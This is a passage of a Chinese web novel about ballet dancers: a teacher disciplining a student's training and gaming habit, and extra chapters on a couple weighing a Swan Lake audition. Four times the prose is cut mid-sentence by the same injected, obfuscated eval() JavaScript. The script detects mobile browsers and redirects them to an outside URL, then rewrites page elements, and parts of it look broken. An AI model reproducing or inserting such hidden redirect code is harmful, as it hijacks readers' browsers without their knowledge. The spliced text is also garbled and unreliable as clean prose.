一旦有了这么个想法,这一时便不免有些惦记起来。孔爵味同嚼蜡地塞了几瓣柚子,在客厅的沙发上站起又坐下,到底没忍住,起身奔练功房去了。 不想,一推开门,就是个让人没眼看的踹燕儿。孔爵蹙着眉走上前,趁着他第二遍踢起来,一把攥住斜在半空的脚腕,往上带了带。“往天上踹,没让你往门外踹。” 王思邈给掀得一趔趄,顺势下腰撑在了地上。他一听见门响就紧张了,心知这个做的还不如上一个。 “回来,自己往上提。” 王思邈指尖动了动,有些没把握。 他不常这么练。一面要控着腿最大程度地保持竖直,一面又要吊着腰不许落地,更别说要在这之中找到平衡,稳稳地站住。 “快点。” 孔爵显然没太多耐心,一手把住人腿根一手往下一压,立刻便听到了一声闷哼。 王思邈吃了痛,不敢再磨蹭。只得屏住气,双手用力一推,终于将腰控了起来。 一瞬间,全身上下的肌肉都被迫紧紧绷住,尤其是腰腹和大腿,正以飞快的速度燃烧起来。被老师捏住的那一寸脚腕,几乎成了唯一的支点。 王思邈紧锁着眉头,颤颤巍巍地维持着平衡,心里又是害怕又是紧张,生怕老师手一松,他就要倒栽葱地摔下去。 不出俩分钟,大腿上隐隐已经有了抽筋儿的感觉。王思邈心里一紧,生怕摔倒,忍不住就想要起来。可才一挺身,老师的手就往回压了压。他只得咬咬牙,又仰头控回去。 “挺不住就抓后腿,主力腿站住。” 孔爵冷着声提醒。明知他站得辛苦,却一点不放水。 王思邈勉力抓着小腿,一张脸胀的通红。 五分钟,支撑腿臀外侧的一整圈肌肉都像是着了火,终于在过度的消耗下渐渐失去知觉。毫无预兆的,膝盖突然一软,王思邈眼看着就旁边跌去—— 腰突然被紧紧揽住,一股强势的力道稳稳将他捞起来,扶着站好。 “唔……” 王思邈眼冒金星地晕了两秒,回过神,才陡然意识到自己不知何时死死揪着老师的袖口,扯着他领子都歪出去一大截。 少年慌忙收回手,自觉没脸地低下头, “嗯,怪不得着急,是该练练了。” 孔爵看着他那样子,到底没忍住训了一句。 王思邈埋着头,只觉得更加无地自容。闷不吭声了好一会儿,突然想起什么似的,跑到旁边凳子上,将手机拿回来一把塞到了孔爵手里。 这几个意思?孔爵低头看看手里最新款的智能手机,一时没闹明白。 “不是你妈妈开学才给你寄来的,不想用了?” “老师能不能…能不能替我保管……学期结束,再还给我。“ 一句话,吞吞吐吐地断成好几截。孔爵掂量着颇有分量的超大屏手机,心里隐隐约约地想明白了个大概。“可以是可以,那以后怎么联系?” “我还有个小诺基亚。” 嘁…… 孔爵嘴角抽了抽,差点被这孩子逗的绷不住。 “那你就没有什么想和我说的?” “不说…行么?” 王思邈绞着的手指紧了紧,他不想说。 不想说自己该练好没练好的素质、不想说那些悄悄错过的晚功,还有本该早早睡下却在被窝里玩游戏的晚上。 其实是觉得,没脸说。 他也不知道自己怎么了,明明知道对游戏上瘾不对,却还是控制不住自己。每次都想着,再过半过小时,再过半个小时一定关掉,可结果还是一次次按下了继续键。 直到今天,在学校终于因为近一周不甚理想的表现被谈了话。放学时,看到在路口接自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239585|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老师,连日来一直盘旋在心口的愧疚终于像决堤的洪水般汹涌起来。 他觉得自己真是不争气极了。 “行。” 一只大手突然在自己额前的刘海上揉了揉。老师的声音听起来又柔软又包容,“什么事我不问了。你自己能想明白,就为时未晚。今天先休息吧。” “嗯……” 王思邈闷闷应了一声,强压着不让眼泪掉出来,却将眼眶憋个通红。等缓过神来,顺着老师往出走的脚步不禁顿了顿,“我想再练一会儿。” 孔爵摇摇头,揽着人出了练功房。他知道小孩儿现在愧疚的心情占了上风,恨不能练上整晚不睡。 “可不是一天落下的功,也不是一个晚上能补回来的。你有这份儿心,就好好存着,剩下的半学期好好努力,那才是真的改正了。” —————————————————— 首都的晚秋,说冷起来,也就是一两天的事。白天还好好的,到晚上下了场雨,就冷的人直打颤。 萧泽到家晚,直接将车停在了院里。熄了火,让自己沉沉靠在椅背上,才觉得连日的疲惫都从四肢百骸传了出来。 他默默出了会儿神,偏头将车窗落下一条小缝。凉气忙不迭地冲进来,倒一下子将他吹得精神了几分。 “…如果你真的感兴趣,现在是最好的时机。明年年底团里的主流舞剧开始,你就抽不开身了……” “这两年我知道你自己一直也在学习,现在有沈延翌为你亲自操刀,不是正好?” “…你在团里这么多年,兢兢业业没人能说出个不字。有我和景斌,你不用操心…” 晚间和文导的对话还一遍遍在心底打转。萧泽沉沉叹了口气,不觉又无奈地笑笑,这个沈导,竟是直接找到文导那里去了。 沈导,沈延翌,国内著名的现代当代舞青年编舞家、导演。他的作品一向以擅用光影勾勒,注重表达而闻名。 两年前,沈延翌曾邀请他出演并共同创作自己的新作品《他·我·他》。尤其是其中的单元——“我”,他特别提出希望可以直接从萧泽本人的“自述”出发。 沈延翌一直是萧泽非常欣赏的编舞家,这样难得的合作机会,如何能不心动。只是那时团里的任务很重,无论是制度还是情理都不允许他出去开这个“小差”。再者,他虽然也曾想过许多次做一部自己的舞剧,那时却实在觉得、他的“累积”,还不足以撑起一个作品。 千思万想,萧泽最终还是拒绝了沈延翌的邀请。那天,两人在工作室长谈到深夜。回去之后的沈延翌竟然删掉了初始构思中的单元“我”,重新创作,并在同年推出了这部作品——也就是后来获得了“皮里埃天才奖”的《镜中人》。 萧泽没想到的是,两年后,沈导竟然会再次找到他,并且开门见山地告诉他,《我》,非他莫属。 ————— 眼前别墅的大门突然敞开一道缝隙,暖黄的灯光投射出来,在黑夜中格外显眼。萧泽看见门口的身影不禁一愣,连忙下车小跑到了门口。 “妈,怎么这么晚还在。快进去,外面冷呢。” “没事儿”,董勤勤侧身将人迎进来,看着儿子眼下淡淡的暗沉,眉心不由得紧了紧,却又立刻被她压下。“我就是听着车响,不知道是你还是彦霖。 承儿发烧了,我不放心就没回去。” “承儿发烧了?” 88. 孔爵x韩俊宇 番外 1 韩俊宇是托着腰走出乘客到达通道的。 并且打老远就看见孔爵懒洋洋地挂在接机区的椅子上,满脸写着不耐烦。 的确,与他同班飞机的人恐怕已经走的一个都不剩了。 孔爵也一眼看到他,起身迎了过来。只是瞧见他那“半身不遂”的样子,眉头不禁拧出个疙瘩。 “我的行李延迟了,然后帮别人拿行李闪着了”。 见面第一句,韩俊宇先言简意赅如实“招”了。开玩笑,他孔大少的脸黑得都快要滴出水了。 “嗯。 ” 孔爵沉着脸接过箱子,一只手扶着他,慢慢往外走。“我这儿什么没有你用的,带这么多东西。” 韩俊宇懒得和他多说,也不用他扶,只是连大步都不敢迈地跟在后面,慢慢蹭到了停车场。 “这么严重?” 孔爵把行李摆到后备箱,一上车就看见韩俊宇放倒了椅背,整个人侧着靠在副驾上。 “没事。” 韩俊宇随手拽上安全带,默默调整了下姿势。“就刚抻了一下有点疼,缓缓就好了。开车开车。“ 孔爵扭头看了看他,欲言又止。韩俊宇抬眼跟他对视,眨巴了眨巴。 行吧,还是先走吧。 轻踩油门,车子缓缓驶出了停车场。 也许因为是个工作日上午,又是机场高速,首都很给来自南方的“游客”面子,难得没有堵车,孔爵头顶那儿的气压也跟着松了些。 “去黄老那儿吧,叫他给你看看。” “不用。到家贴记膏药就能好。” “好什么好?” 孔爵心里一急,脾气没搂住。 韩俊宇的腰是带佑森排练时伤的。说是伤的不重,可个把月了,也没见好利索。这回抻了一下,恐怕是又严重了。孔爵看他歪歪着不敢坐的样子就替他难受,再看那一脸没心没肺的劲儿,没来由的,一股邪火儿就往上窜。 车里安静了两秒。韩俊宇伸手揪着他脸颊上的皮扥了扥,“吃枪药了?” 突然亲密的举动叫孔爵微微一怔,连着心头的火气好像也突然散了。 唉。 他忍不住长长叹出一口气,打了个转向开上环城高速的下路口,改道黄老所在的医院。“你知道愁不知道愁?” 这么些年,他只觉得眼前这个人,年纪一岁岁地加,心眼儿,却一点儿也不见长。 逐渐接近市区,车速都跟着慢了下来。孔爵余光瞟了眼副驾上的韩俊宇,这一路都安静得很。许是腰疼,眉头时而微微蹙着,在眉间留下一道极轻的小褶皱。 “这次能呆多久? ……你那边,有什么着急的事儿吗?” 韩俊宇撩起眼睛看他,直觉这两句话问的有猫腻。“两周吧。急么,也没什么特别急的。不急就不回去了?” 当然还是得回。 ——这是俩人都心知肚明的事情。 他们确定关系已经不是一年两年了。可这几年里,两人一南一北,忙的时候多,闲的时候少,真在一起的日子,屈指可数。 他们当然知道,彼此都有舍不下的一大摊子。所以谁也不能去张那个嘴,谁也不能叫谁放弃些什么。 就只这么一年年拖着,能见面的时候,就用力珍惜一些。 “这次,如果可以的话,我想让你多呆一阵。” “一阵——是多久?” “四个月到半年吧,或许更久。“ ??? 韩俊宇皱着眉缩缩下巴,一脸“你脑子别是瓦塌了”的表情。他这次的确是想多呆两天,所以厚着脸皮跟关老师请了三周的假。刚才本还想着逗逗孔爵,给他个惊喜。谁想这他一张嘴就冲着半年去了。 “你是不是有什么事?” 韩俊宇了解孔爵,虽然平日里在”没个正形儿“这事上和自己不相上下,但毕竟不是乱来的性子。“如果你现在求婚我可不会马上答应你。” 他自己倒是很能乱来。 啧…… 孔爵皱眉横了他一眼,拿这家伙嘴上没把门的劲儿没办法。要不是在开车,真想好好看看他闪的到底是脑子还是腰。 “我去年不是一直在帮中演的人联系老Matt么,想邀请他带团队来做个作品展演。像《天鹅湖》,我们首都人民到现在也没有魔都人民当年的眼福啊。” “切…” 韩俊宇轻笑了一声,震得腰有点疼。 Matthew Smiley,可以说是英国乃至世界上最成功最受欢迎的编导了,他的男版《天鹅湖》自95年首演后就大获成功,这么多年一直是伦敦西区和纽约百老汇常常上演的作品。可惜,过了将近二十年,这部作品才登陆中国,也仅仅是只在上海上演了13场而已。 这两年,北京的中演文化一直想请Matt的舞团来做一次展演甚至是巡演。拟定第一站在北京。上演的作品当然可以以《天鹅湖》为主,可中演的胃口,还瞄着另外两部大受追捧、获奖无数的作品。 然而规划调度三组作品的演职和物资来访几乎是个不可能的任务,舞团也无法承诺如此庞大的演出团队和巡演时长。所以中演的企划虽然一直揣在兜里,人也一直和Matt的舞团接触着,却迟迟没有找到合适的契机推进。 还是去年年初的时候,经文导的牵线,他们找到了孔爵。孔爵在英国那几年累计下来的口碑和人脉,正是中演求之不得的。孔爵认真考虑了两天就答应了。按他自己的话说,为了中国观众的眼福,这件事自然是责无旁贷。中演大手笔地批了个团队给他,专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239586|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责这个项目。算着时间,也有一年多了。 现在提起这个话头……韩俊宇眼神一亮,“他们同意了?” “嗯。你来之前的那周刚签了合约。 重新策划了三年的合作项目,以\''舞蹈文化季\''为连接,每年来展演一部作品,第一年是《天鹅湖》,后两年是《卡门》和《胡桃夹子》。而且如果打造出了文化节,到时来表演的,就可以不仅仅是Matt的舞团,也不仅仅是在北京。” …… 三年合约,三部作品。 空气暂停了片刻,被惊喜击中的韩俊宇不禁伸出拇指,发出了由衷的赞叹。 “牛?……” 可——这件事,和让他在北京呆半年的关系是……? 韩俊宇狐疑地看着孔爵嘴角的笑容,忽然有种不好的预感,“你不会是要抓我当壮丁吧?我可什么都干不了。” 前方正是个红灯,孔爵踩住刹车扭头看向他,眼里的笑意更甚。 “是也不是。 你知道的,老Matt是个从不行规蹈矩的人。他说为了满足中国观众的期待,前十场自然由他的团队来演。至于后十场,《天鹅湖》演了二十多年了,他想做些编排上的改变,演员也准备从中国选拔。Audition就在三个月后。” “等会儿。什么??” 信息量略大,韩俊宇觉得他的小脑袋瓜有点过载。“所以……?” 红灯转绿,后面的车不耐烦地一阵鸣笛,孔爵一脚油门出去,“所以我觉得你很适合‘天鹅’,三个月后你也去参加Audition。” 韩俊宇愣了两秒。嘴角的笑意飘散而去。 “你脑子是真的瓦塌了吧?!” “你知道我多久没上台了?” “我知道。” 相比旁边炸毛的韩俊宇,突然正经起来的孔爵几乎有些陌生。“我知道那次比赛之后你就再也没有上过台。但那不代表你没有上台的实力。” “我没有上台的欲望。” “Matthew Smiley的台也没有。” \"……\" 韩俊宇扭头望向车窗外,许久,“你不该在这件事上逼我。” 孔爵抿着嘴唇,攥着方向盘的手紧了紧。他当然不愿意逼韩俊宇做任何他不愿意做的事,可他也不愿意他错过这么宝贵的一次机会。 他知道韩俊宇这么多年一直扑在芭蕾上,看着自己带过的孩子一个两个走到聚光灯下,就好像比什么都满足。可当年上海《天鹅湖》演出的首场,他们是一起坐在台下看完的。孔爵见过他望向舞台的侧脸,也想过许多次韩俊宇站在那个位置上的样子。 只是说到底,这个机会是不是真的宝贵,他没资格替韩俊宇决定。 89. 孔爵x韩俊宇 番外 2 孔爵其实从没有问过韩俊宇,那时,为什么会那么坚决地告别舞台。 十八岁,距离第一次捧起少年组金杯的五年后,再次踏上全国大赛的赛场,就几乎毫无悬念地斩获了青年组的金奖。 一众评委与老师在连声赞叹中,看着台上淡定微笑着的青年,就仿佛看见芭蕾新生一代的华彩,也仿佛看见了瓦尔纳金奖的大门正向国人打开。 次年,瓦尔纳国际芭蕾舞比赛如期举行,韩俊宇与另一名选手同赴赛场。经历漫长又艰难的赛程,终于不负众望拿下青年男子组的最高奖项,载誉归来。 彼时,距离韩俊宇毕业还剩下不到一年的时间。国内包括中芭在内的各大舞团还未曾进行遴选便纷纷递出了橄榄枝;关平的书桌上,甚至还摆着NYCB发来的邀请他前往受训的信函。 可韩俊宇呢,他礼貌地拒绝了一众邀请,没有参加学校里正进行得如火如荼的考团。只是默默利用两个月的时间考下了舞蹈教师资格证,然后带着简历敲开了艺术中心主任办公室的门。 直到那一刻起,大家似乎才开始意识到,这个天资傲人、正当挥洒光芒的年轻舞者,已经在不知不觉中,向舞台做了告别。 面对无数痛惜的眼神和发自内心热切地劝说,他只是淡淡笑笑,或是浑不在意地摆摆手,耍赖道,嗨,我就是有点儿累了——却最终为自己的决定拉起一道无形而坚定的围墙。 韩俊宇透过视频通知孔爵这个消息时,那时正在英国的孔爵恨不得摸着网线回去狠狠敲敲这死孩子的脑壳。可是看着电脑屏幕上那好像从未如此轻松过的眉眼,吼人的话到了嘴边,终究没有说出口。 他太清楚了,从身到心都紧紧绷着,没有一刻能松一口气的滋味。 “你自己,想好了就行。” 离开学校的那天,韩俊宇没有要回被借去展示的奖牌和证书,只是留下了当时附在奖牌盒子上的一朵小干花。 同年锌宇的祭日,孔爵终于能够赶回来,陪着韩俊宇一起去看看他的哥哥、他的少年旧友。韩俊宇把那朵小干花和比赛时用过的名牌一起装进小木盒,默默埋在了锌宇的墓前。 看着他近乎虔诚地盖上一抔抔泥土,孔爵脑海中忽然如跑马灯般,不可抑制地想起许多事——想锌宇还在的那些日子,想十二岁到十九岁的这七年,韩俊宇是怎么过的。 有那么一瞬,他想他隐隐约约地明白了俊宇的决定,可转念,又觉得好像都不重要了——锌宇如果还在的话,也一定希望他能按自己的心意活着。 —————— “你好,加个专家号,黄主任的。” 排到挂号的窗口前,孔爵将韩俊宇的身份证和现金一起递了过去,随手把手机揣回口袋。秦芸最后发来的一条信息依旧闪在屏幕上。孔爵想着那句话,翻来覆去地品味了半天,终于忍不住,抿着嘴角旁若无人地轻笑起来—— “他就是驴,踢两脚就上去了*!” 孔爵回到黄老的诊室门口时,LV先生韩俊宇正因为坐不下只能靠着墙边直溜儿地站着。那样子,倒像是被罚站一般。 孔爵走上前把身份证揣回他兜里,“等会儿吧,快午休了。” “嗯。” 黄老的医术在业内是出了名的,今日来看诊的人格外多。交情再深,孔爵也不好青天白日的插队,幸好黄老临时给他们加了个号,趁午休的时间看看。 “你知道,十年前的舞台,和现在,很不一样了。” 孔爵靠着墙与韩俊宇并肩站着,手上摆弄着张薄薄的收据,自顾自地说。 韩俊宇低头回个微信,没理他。 “创作流程,表现手法,甚至是排演的方式,都在变化。” “……” “有时候啊,和团里的年轻人排演,排着排着,我就觉得,好像快被时代淘汰了似的。” 嘶………韩俊宇忍不住深吸一口气,“你有话直说吧。” 孔爵突侧过身看着他,神色少有的认真。“就当是为了更好地带学生,你不妨上台去*! ” 有舞台经验的教学和没有舞台经验的教学,到底是不一样的。这道理,不用孔爵细说,韩俊宇也能想的明白。 “韩俊宇,韩俊宇在吗?” 护士拿着单子出来喊人,孔爵闻声望过去,不得不暂时截了话头,跟着韩俊宇一起进了诊室。 “您觉着,一个月,能好利索吗?” 诊室里,韩俊宇颇为乖觉地趴在床上给黄老检查。T恤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239587|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后襟被高高撩起,宽松的运动裤也被稍稍拉下去一些,露出长长一截“旧伤未愈又添新患”的腰。韩俊宇这张磨练了二十几年“刀枪不入”的老脸也忍不住泛出了点红,偏偏孔爵还一点不见外地站在床边,探头探脑问个没完。 烦死了。 “嗯——差不太多。” 黄老斟酌着伤情,缓缓答道,“问题不大,先治治看。怎么?接下来有演出任务?” “算是吧。” “没有!” 两人的眼神下意识撞了一下,韩俊宇狠狠剜了孔爵一眼刀。 嗨…… 黄老看着俩人的架势,不觉笑笑。 到他这儿看病的,运动员是第一多,其次就是跳舞的、搞文艺的。问来问去无非都是一句话,能不能比啊?能不能跳?能不能拍?耳朵都听出茧子了。 他凌空伸出一根手指,点了点孔爵,“演员知道保护自己是好事,小孔啊,你可不能太\''法西斯’了。” “啊……这……不是……” “哈哈好、好,我不说了。来——” 黄老了然地摆摆手,拍了拍诊床上正憋笑着发抖的韩俊宇,“按着点儿。” “啊没事,不用。” 韩俊宇赶忙说。 孔爵将一只手盖在他后颈,语气似笑非笑,“嗯,他不用。” “那你手拿——呃……!” 韩俊宇话还未说完,整个人就像砧板上的活鱼一般,狠狠弹了一下。 腰上不知哪块被黄老一肘子顶下去,疼得他脑子里几乎炸出道白光,半晌,才颤着呼出一口气。 “没事哈。” 仿佛是意料之中,黄老笑眯眯地拍拍他下意识起的腰背,“来,趴好。这回不能动了啊。” “嗳…” 韩俊宇答应着,憋了口气把自己放平。感觉孔爵压在自己肩头的力气又重了些,当下便忍不住想着,现在逃跑还来不来得及。 逃跑是来不及了,这么大的人了,也没脸真的翻下床去。韩俊宇一边咬牙忍着,一边在心里哀哀叹着,黄老这胳膊肘,简直就像个重型钻机,专挑寸劲儿的地方钻。饶是他自诩什么疼没挨过,也给按的几乎要背过气儿去。 “黄…黄老………我……您…您您……轻…点。” 90. 孔爵 x 韩俊宇 番外 3 孔爵把韩俊宇的行李箱在客厅的地上摊开,人不禁愣了愣—— 满满一侧,装的都是韩俊宇家门口自己百吃不厌的那家老店的点心,另外一侧放着好几包茶叶和梨膏糖,很显然是给大哥大嫂的。只剩下小半扇的地方,整整齐齐码着他自己的衣物。 按着韩俊宇怕麻烦的个性,如果不是为了带这些东西,恐怕早就一个随身包飞过来了。 …… 孔爵的老脸不禁一红。想起早先在机场自己还嫌弃他带了一箱子东西。现在他合理怀疑,韩俊宇那时候一声不吭,就是为了这一刻,看他被疯狂打脸,“大仇得报”。 洗手间的门锁发出轻微的响动,孔爵的眼神追着韩俊宇从洗手间到了餐厅。 “咳……那个…谢了啊。” 韩俊宇熟门熟路地从餐厅柜子里找出自己的杯子,接了些温水。回到客厅时,长腿一迈,目不斜视地跨过挡路的行李箱一角,在窗边的小凳子上坐了。 好像没听见一般! 孔爵自讨没趣地暗自挑了挑眉,默默把行李箱里的东西拿出来。正想着怎么再措措辞,就听人在身后问,“你找芸姐了。” 哎……这个秦芸。 孔爵一手掐着腰,下意识挠挠鬓角。“嗯……你看,这堂堂昇尚的优秀教师,人一到北京,就被我扣下了,我怎么也得想办法和关老爷子打声招呼不是?” 狗屁打招呼。 韩俊宇忍不住一阵腹诽,捧着水杯懒得说话。对于小凳子来说过长的双腿在脚腕处交叠着,伸到了凳子腿下面。 他前脚出了医院后脚就收到了芸姐的信息轰炸,满屏都是什么‘你不去参加audition就别想着回上海’、‘我们堵在飞机口也把你踹回去’的威胁。 他孔爵能耐大的很,还学会釜底抽薪了? “我顺便把舞剧甄选的一些信息发过去了。‘王子’的角色,我想小瑞会感兴趣的。” 韩俊宇的心思动了动。 一涉及到自家徒弟的事,‘为人师长’的那个‘韩俊宇’就立刻上岗,什么个人情绪都扔到了黄浦江里去。 小瑞进团这两年来,一直是团里重点培养的对象。不出意外的话,明年年底之前是有望升到首席的。这个时候如果能拿下Matthew的一个A角,无论是在个人经验还是在事业发展上,对他都是大有助力的。 可话是这样说,有类似想法的又怎么可能只有他们一个。“不要说钟瑞,到时候舞剧的消息一放出来,全国适龄的芭蕾舞演员都会感兴趣的。” “你还怕小瑞争不过?” 孔爵不知什么时候凑了过来,随手抢过韩俊宇的水杯一饮而尽。语气中毫不掩饰地带着一丝揶揄,“还是说——韩老师是怕自己争不过?” “嗯,那倒不至于。”韩俊宇展了展肩,撑着手肘靠在身后的沙发上,略有些狭长的眼睛微微眯着。他韩俊宇,这点自信还是有的,无论是对自己,还是对自己的学生。 只不过,一想到有那么多人——“哎,是真不想争了。” “千军万马过独木桥,没什么好东西,是不用去争的。你又不是争不起。” 在孔爵看来,哪怕韩俊宇的年纪跟现在的年轻孩子们比不占优势了,他这么多年的自律和天资是绝大多数人都望尘莫及的。更何况,有些能力本就是沉淀与积累出来的,许多角色,也需要与之相衬的阅历去理解、诠释。韩俊宇现在也算得是当打之年,再逼自己一把,这只“天鹅”,他远比任何人都更能胜任。 “韩俊宇。“ 韩俊宇在这一声唤下微微抬起眼睫。相识的这许多年中,孔爵连名带姓叫他的时候其实不计其数,可这一次,总好像有些许不同。 他静静看进对面那双乌黑幽深的眸子中,看见孔爵一贯坦荡不羁的眼神里,除去“兄长的看顾”、“恋人的鼓励”,好像还多了一种,叫做惺惺相惜的东西。 “去吧。这个舞台不会辜负你的。” —————————— “老板!一份炒肝,一碗白粥,两屉包子。” 孔爵从一进门的桌子上拿了碟小菜和腐乳,和韩俊宇找个空座坐了。 正赶上早高峰的尾巴,早餐店里的人都是边抹嘴边端着餐盘往出走。他们俩不紧不慢地进来,倒显得有些异类。 “还送个茶蛋哈。“ 刚坐定没一会儿,老板就端着一大盘子过来了。孔爵把白粥和腐乳都推到韩俊宇跟前,又从篮子里抽了根勺子,在茶水里涮过了才递给他。 韩俊宇接过勺子沾了点腐乳,埋头就着喝了一大口粥。 人和人之间的关系,有时候其实挺有意思的:他平时带学生出去演出、比赛,事无巨细都要想着,忙前忙后地像个老妈子。可跟孔爵在一起的时候,就好像能懒得一根手指也不抬,心安理得地等着他“伺候”;不怕累着他,也不怕欠他的。 “舞剧的详细信息,稍后发我一份吧。” 韩俊宇盘算着昨天提到的几个关键时间点。既然决定要参加,甄选前的训练计划要尽快做起来了。 “嗯”,孔爵叼着个包子,双手麻利地把茶蛋剥了放进他碗里。“昨天发给秦芸的时候抄送一份给你了。” 哦对…… 那钟瑞的那份计划,他也得把把关。 这么想起来—— 嘶…… 韩俊宇突然忍不住一脸痛苦地偏过头。 他和小瑞要是真都选上了,那岂不是要来个什么 “师生同台” ?这怎么想,怎么觉得有点别扭啊…… “怎么了,腰疼?” “没有,我头疼……” 韩俊宇幽幽叹了口气,勉强打起精神来。“休假结束后我还是得回上海,该上班要上班的。小瑞那儿嚒,我也想带着他点儿。所以备选阶段大概率还是不过来了。” “嗯。” 孔爵点点头,猜到也只能这样。毕竟都是成年人了,没有说忙着一样其他就都撂下的道理。 “那回去之前这几周,你跟我去团里吧,把状态捡一捡。” 想了想,又添了一句,“明天开始。” 他不是不记得韩俊宇腰上还有伤。只是跳舞的人,没办法来得那么多娇气。不能动的地方护着,能动的地方该练还是得练。 天鹅的这个位置,不知道有多少人盯着。韩俊宇的时间本来就不充裕……早一分开始准备,他就能多一分从容。 他知道,这件事就算他不提,韩俊宇自己也会跟他开口。 “不过,下午也听听黄老怎么说。” 道理归道理,多少还是有点儿心疼。 “啊……?” 一提起黄老,韩俊宇嘴里的包子就瞬间不香了。甚至没有细究孔爵叫他去团里练的事儿。 “那我还吃吗?” 他真怕黄老再一肘子下来,直接怼的他消化不良了。 “下午去!吃吧。” —————————————————— 吃完早饭,韩俊宇还是陪孔爵去了趟舞团。 坐落在综合艺术区的“孔爵现代芭蕾舞团”是四年前孔爵以个人名义成立的舞蹈团体。 国内民营性质的舞蹈演出团体本来就少之又少,彼时孔爵又刚刚回国,还没完全站稳脚跟。想搭建起一个自己的舞团有多难,这中间会遇到多少困难波折,韩俊宇现在想起来都替他觉得糟心。 舞团成立的最初,运营也并不十分顺利。申请下来的国稼专项基金有限,紧紧巴巴地一块掰成三块花。全靠孔爵带着十几个团员,哪怕没工资也咬牙硬撑着;从小的剧目做起,坚持在各地演出,参加文化节、参加比赛,总算一点点打响了招牌。 短短四年,舞团创作出许多经典的保留剧目。国内演出的场次不断,也多次受邀去海外巡演。去年年初,他们终于推出了自己的第一部长篇剧目 ——《遥》。国内的第一轮巡演刚刚结束,现在正在第二轮的筹备阶段。 年底,孔爵又成立舞团附属的工作室,主要分成剧目编导和专业培训两个部分。倒不是他想把盘子铺的太大,实在是……用他自己的话说,支撑一个舞团太烧钱了。 “孔团。” “孔团!” 俩人走进舞团,正碰见几个小姑娘小伙子急匆匆地往排练厅跑。看见团长,都笑嘻嘻地打招呼,眼神还不忘在团长旁边的帅哥脸上转了一圈。 “快点,迟到扣工资啊。” 孔爵绷着脸吓他们。抬眼看见排练厅里正看过来的江妍,远远冲她摆了摆手。 “芭蕾基训课,平时都是我上,最近实在忙不过来,就交给我们女首席江妍了。“ 孔爵带着韩俊宇往办公室走,随口跟他解释。当然,没有提还有一层原因是想腾出来点时间多陪陪某人。 “哦“,韩俊宇双手插着兜,有一搭没一搭地打量着走廊两侧墙上的照片,准确找到了两张孔爵的侧影。 “堂堂孔团长,还自己教课啊。” 孔爵低头笑了笑。嗯,这个促狭劲儿…就是欠揍。他看着注意力不知道又跑到哪张照片上的韩俊宇,忽然上前凑到他耳边,悄声说了句什么。 !?! “滚蛋!” 韩俊宇一脚飞过来。 孔爵坏笑着闪身避开。只是躲得急,乐极生悲,脚下绊了一步,不小心撞到了身后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239588|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间小教室的玻璃门,“咣当”一声响。 房间里正独自练功的小青年被吓了一跳。 孔爵撑着门回头看过去,不禁轻咳一声,立刻正经起来,还悄悄跟韩俊宇比划了个“暂时休战”的手势。 “孔爵哥。” 小青年走到门口,揪起领口擦了擦鼻尖的汗,还有些微微地喘。眼神跟韩俊宇撞上,笑着冲他点了点头。 韩俊宇也点点头回应。不知是不是出于职业敏感,不禁下意识地打量着青年稍显不同的身形,目光最终落在他贴着肌肉贴的脚踝上——— 噢,终于想起来这小青年为什么看着有些眼熟了。 “几点来的?” 孔爵看他T恤都湿了大半。 “哦……我没看,可能,九点吧。” 嗯。孔爵轻哼一声,直白地扔给他一个“你看我信不信”的表情。 “行了,介绍一下”,他拍拍小青年的肩膀,“这位,韩俊宇,钟瑞的老师,你应该知道的吧。 嗯,这位——” “林晓希。” 韩俊宇直接答道,伸出手和他握了握,“我记得,春晚时看过你的节目。很不错。” “没有没有”,林晓希连忙摆摆手,“我上学时也常听说您,瓦尔纳和美国杰克逊,都拿过奖的。” 当然,他不能说不久前彦承还拉着他一起八卦过这位孔爵哥的神秘爱人。 “哎可别提”,韩俊宇一听瓦尔纳几个字就头皮发麻,恨不得上去捂孩子的嘴。“我现在顶多也就能去那儿旅个游。” 孔爵朝林晓希使了个眼色,“嗯,躺挨夸会过敏。不要太客气,叫俊宇哥就行。” “俊宇哥。” 